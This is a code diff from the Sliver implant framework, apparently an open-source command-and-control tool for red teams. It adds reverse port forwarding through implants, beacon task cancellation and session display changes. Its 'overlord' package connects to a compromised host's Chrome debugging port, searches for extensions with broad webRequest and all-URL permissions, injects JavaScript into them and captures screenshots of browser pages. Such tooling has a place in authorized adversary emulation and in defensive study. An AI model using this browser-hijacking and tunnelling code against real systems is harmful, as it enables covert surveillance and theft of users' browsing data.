if session.GetActiveC2() == "dns" {
|
||||
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
|
||||
}
|
||||
|
||||
bindAddress := ctx.Flags.String("bind")
|
||||
// Check if the bind address is just a port number, if no host is specified
|
||||
// we just bind to all interfaces implant-side
|
||||
if portNumberOnlyRegexp.MatchString(bindAddress) {
|
||||
bindAddress = fmt.Sprintf(":%s", bindAddress)
|
||||
}
|
||||
|
||||
forwardAddress := ctx.Flags.String("remote")
|
||||
// Check if the forward address is just a port number, if no host is specified
|
||||
// we just forward to localhost client-side
|
||||
if portNumberOnlyRegexp.MatchString(forwardAddress) {
|
||||
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
|
||||
}
|
||||
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
BindAddress: bindAddress,
|
||||
ForwardAddress: forwardAddress,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printStartedRportFwdListener(rportfwdListener, con)
|
||||
}
|
||||
|
||||
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
|
||||
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
|
||||
con.PrintErrorf("%s", rportfwdListener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
listenerID := ctx.Flags.Int("id")
|
||||
rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ID: uint32(listenerID),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
printStoppedRportFwdListener(rportfwdListener, con)
|
||||
}
|
||||
|
||||
func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
|
||||
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
|
||||
con.PrintErrorf("%s", rportfwdListener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package rportfwd
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
|
||||
func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
|
||||
}
|
||||
|
||||
func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
|
||||
if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(rportfwdListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No reverse port forwards\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Remote Address",
|
||||
"Bind Address",
|
||||
})
|
||||
for _, p := range rportfwdListeners.Listeners {
|
||||
tw.AppendRow(table.Row{
|
||||
p.ID,
|
||||
p.ForwardAddress,
|
||||
p.BindAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -140,6 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
@@ -186,6 +187,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
|
||||
@@ -157,6 +157,8 @@ func emojiState(state string) string {
|
||||
return "⏳"
|
||||
case "failed":
|
||||
return "❌"
|
||||
case "canceled":
|
||||
return "🚫"
|
||||
default:
|
||||
return "❓"
|
||||
}
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
package tasks
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
|
||||
func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon := con.ActiveTarget.GetBeaconInteractive()
|
||||
if beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
idArg := ctx.Args.String("id")
|
||||
var task *clientpb.BeaconTask
|
||||
var err error
|
||||
if idArg == "" {
|
||||
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
tasks := []*clientpb.BeaconTask{}
|
||||
for _, task := range beaconTasks.Tasks {
|
||||
if task.State == "pending" {
|
||||
tasks = append(tasks, task)
|
||||
}
|
||||
}
|
||||
if len(tasks) == 0 {
|
||||
con.PrintErrorf("No pending tasks for beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
task, err = SelectBeaconTask(tasks)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf(console.UpN+console.Clearln, 1)
|
||||
} else {
|
||||
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if task != nil {
|
||||
task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Task %s canceled\n", task.ID)
|
||||
}
|
||||
}
|
||||
@@ -97,6 +97,8 @@ func prettyState(state string) string {
|
||||
return console.Bold + console.Orange + state + console.Normal
|
||||
case "completed":
|
||||
return console.Bold + console.Green + state + console.Normal
|
||||
case "canceled":
|
||||
return console.Bold + console.Gray + state + console.Normal
|
||||
default:
|
||||
return state
|
||||
}
|
||||
|
||||
@@ -216,6 +216,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
core.GetTunnels().CloseForSession(session.ID)
|
||||
core.CloseCursedProcesses(session.ID)
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
|
||||
@@ -88,6 +88,9 @@ const (
|
||||
|
||||
// BeaconTaskResult - Beacon task completed with a result
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
|
||||
// ExternalBuildEvent
|
||||
ExternalBuildEvent = "external-build"
|
||||
)
|
||||
|
||||
// Commands
|
||||
@@ -104,6 +107,7 @@ const (
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
CancelStr = "cancel"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
@@ -223,8 +227,9 @@ const (
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
RportfwdStr = "rportfwd"
|
||||
|
||||
ReactionStr = "reaction"
|
||||
|
||||
@@ -238,6 +243,12 @@ const (
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
Cursed = "cursed"
|
||||
CursedChrome = "chrome"
|
||||
CursedConsole = "console"
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/url"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
// SessionID -> CursedProcess
|
||||
CursedProcesses = &sync.Map{}
|
||||
)
|
||||
|
||||
type CursedProcess struct {
|
||||
SessionID string
|
||||
PID uint32
|
||||
BindTCPPort int
|
||||
PortFwd *Portfwd
|
||||
Platform string
|
||||
ExePath string
|
||||
ChromeUserDataDir string
|
||||
}
|
||||
|
||||
func (c *CursedProcess) DebugURL() *url.URL {
|
||||
return &url.URL{
|
||||
Scheme: "http",
|
||||
Host: fmt.Sprintf("localhost:%d", c.BindTCPPort),
|
||||
Path: "/json",
|
||||
}
|
||||
}
|
||||
|
||||
func CursedProcessBySessionID(sessionID string) []*CursedProcess {
|
||||
var cursedProcesses []*CursedProcess
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
cursedProcesses = append(cursedProcesses, cursedProcess)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return cursedProcesses
|
||||
}
|
||||
|
||||
func CloseCursedProcesses(sessionID string) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
|
||||
CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
cursedProcess := value.(*CursedProcess)
|
||||
if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
|
||||
defer func() {
|
||||
value, loaded := CursedProcesses.LoadAndDelete(key)
|
||||
if loaded {
|
||||
curse := value.(*CursedProcess)
|
||||
Portfwds.Remove(curse.PortFwd.ID)
|
||||
}
|
||||
}()
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,300 @@
|
||||
package overlord
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/chromedp/cdproto/page"
|
||||
"github.com/chromedp/cdproto/target"
|
||||
"github.com/chromedp/chromedp"
|
||||
)
|
||||
|
||||
const (
|
||||
// AllURLs - All URLs permission
|
||||
AllURLs = "<all_urls>"
|
||||
|
||||
// AllHTTP - All HTTP permission
|
||||
AllHTTP = "http://*/*"
|
||||
|
||||
// AllHTTPS - All HTTP permission
|
||||
AllHTTPS = "https://*/*"
|
||||
|
||||
// WebRequest - WebRequest permission
|
||||
WebRequest = "webRequest"
|
||||
|
||||
// WebRequestBlocking - WebRequestBlocking permission
|
||||
WebRequestBlocking = "webRequestBlocking"
|
||||
|
||||
// FetchManifestJS - Get extension manifest
|
||||
FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
type ManifestBackground struct {
|
||||
Scripts []string `json:"scripts"`
|
||||
Persistent bool `json:"persistent"`
|
||||
}
|
||||
|
||||
// Manifest - An extension manifest file
|
||||
type Manifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Description string `json:"description"`
|
||||
ManifestVersion int `json:"manifest_version"`
|
||||
Permissions []string `json:"permissions"`
|
||||
Background ManifestBackground `json:"background"`
|
||||
}
|
||||
|
||||
// ChromeDebugTarget - A single debug context object
|
||||
type ChromeDebugTarget struct {
|
||||
Description string `json:"description"`
|
||||
DevToolsFrontendURL string `json:"devtoolsFrontendUrl"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Type string `json:"type"`
|
||||
URL string `json:"url"`
|
||||
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
|
||||
}
|
||||
|
||||
var allocCtx context.Context
|
||||
|
||||
func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
|
||||
opts := []func(*chromedp.ExecAllocator){
|
||||
chromedp.Flag("restore-last-session", true),
|
||||
chromedp.UserDataDir(userHomeDir),
|
||||
}
|
||||
switch platform {
|
||||
case "darwin":
|
||||
opts = append(opts,
|
||||
chromedp.Flag("headless", false),
|
||||
chromedp.Flag("use-mock-keychain", false),
|
||||
)
|
||||
default:
|
||||
opts = append(opts, chromedp.Headless)
|
||||
}
|
||||
opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
|
||||
return opts
|
||||
}
|
||||
|
||||
func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
|
||||
var (
|
||||
cancel context.CancelFunc
|
||||
)
|
||||
if webSocketURL != "" {
|
||||
allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
|
||||
} else {
|
||||
opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
|
||||
allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
|
||||
}
|
||||
taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
|
||||
return taskCtx, taskCancel, cancel
|
||||
}
|
||||
|
||||
func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
targets, err := chromedp.Targets(ctx)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func contains(haystack []string, needle string) bool {
|
||||
set := make(map[string]struct{}, len(haystack))
|
||||
for _, entry := range haystack {
|
||||
set[entry] = struct{}{}
|
||||
}
|
||||
_, ok := set[needle]
|
||||
return ok
|
||||
}
|
||||
|
||||
func containsAll(haystack []string, needles []string) bool {
|
||||
all := true
|
||||
for _, needle := range needles {
|
||||
if !contains(haystack, needle) {
|
||||
all = false
|
||||
break
|
||||
}
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ExecuteJS - injects a JavaScript code into a target
|
||||
func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
|
||||
targetInfo := findTargetInfoByID(ctx, targetID)
|
||||
if targetInfo == nil {
|
||||
return nil, ErrTargetNotFound
|
||||
}
|
||||
extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
var result []byte
|
||||
err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
|
||||
return result, err
|
||||
}
|
||||
|
||||
// FindExtensionWithPermissions - Find an extension with a permission
|
||||
func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
return &target, nil
|
||||
}
|
||||
}
|
||||
return nil, nil // No targets, no errors
|
||||
}
|
||||
|
||||
// FindExtensionsWithPermissions - Find an extension with a permission
|
||||
func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
|
||||
targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensions := []*ChromeDebugTarget{}
|
||||
for _, target := range targets {
|
||||
ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &Manifest{}
|
||||
err = json.Unmarshal(result, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if containsAll(manifest.Permissions, permissions) {
|
||||
extensions = append(extensions, &target)
|
||||
}
|
||||
}
|
||||
return extensions, nil
|
||||
}
|
||||
|
||||
// QueryDebugTargets - Query debug listener using HTTP client
|
||||
func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
return debugContexts, err
|
||||
}
|
||||
|
||||
// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
|
||||
func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
resp, err := http.Get(debugURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
debugContexts := []ChromeDebugTarget{}
|
||||
err = json.Unmarshal(data, &debugContexts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionContexts := []ChromeDebugTarget{}
|
||||
for _, debugCtx := range debugContexts {
|
||||
ctxURL, err := url.Parse(debugCtx.URL)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if ctxURL.Scheme == "chrome-extension" {
|
||||
extensionContexts = append(extensionContexts, debugCtx)
|
||||
}
|
||||
}
|
||||
return extensionContexts, nil
|
||||
}
|
||||
|
||||
// Screenshot - Take a screenshot of a Chrome context
|
||||
func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
|
||||
var result []byte
|
||||
screenshotTask := chromedp.Tasks{
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
result, err = page.CaptureScreenshot().
|
||||
WithQuality(quality).
|
||||
WithClip(&page.Viewport{
|
||||
X: contentSize.X,
|
||||
Y: contentSize.Y,
|
||||
Width: contentSize.Width,
|
||||
Height: contentSize.Height,
|
||||
Scale: 1,
|
||||
}).Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
|
||||
defer taskCancel()
|
||||
defer cancel()
|
||||
targetInfo := findTargetInfoByID(taskCtx, targetID)
|
||||
if targetInfo == nil {
|
||||
return []byte{}, ErrTargetNotFound
|
||||
}
|
||||
ctx, _ := chromedp.NewContext(taskCtx, chromedp.WithTargetID(targetInfo.TargetID))
|
||||
if err := chromedp.Run(ctx, screenshotTask); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
+1
-1
@@ -20,7 +20,7 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18.5"
|
||||
GO_VER="1.18.6"
|
||||
GARBLE_VER="1.18.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
|
||||
@@ -1,41 +1,47 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
go 1.18
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/AlecAivazis/survey/v2 v2.3.6
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.12
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.12.1
|
||||
github.com/onsi/gomega v1.10.0
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
@@ -43,10 +49,10 @@ require (
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.9
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.9
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.16.0
|
||||
)
|
||||
@@ -61,41 +67,47 @@ require (
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
|
||||
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
|
||||
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
|
||||
github.com/chromedp/sysutil v1.0.0 // indirect
|
||||
github.com/davecgh/go-spew v1.1.1 // indirect
|
||||
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
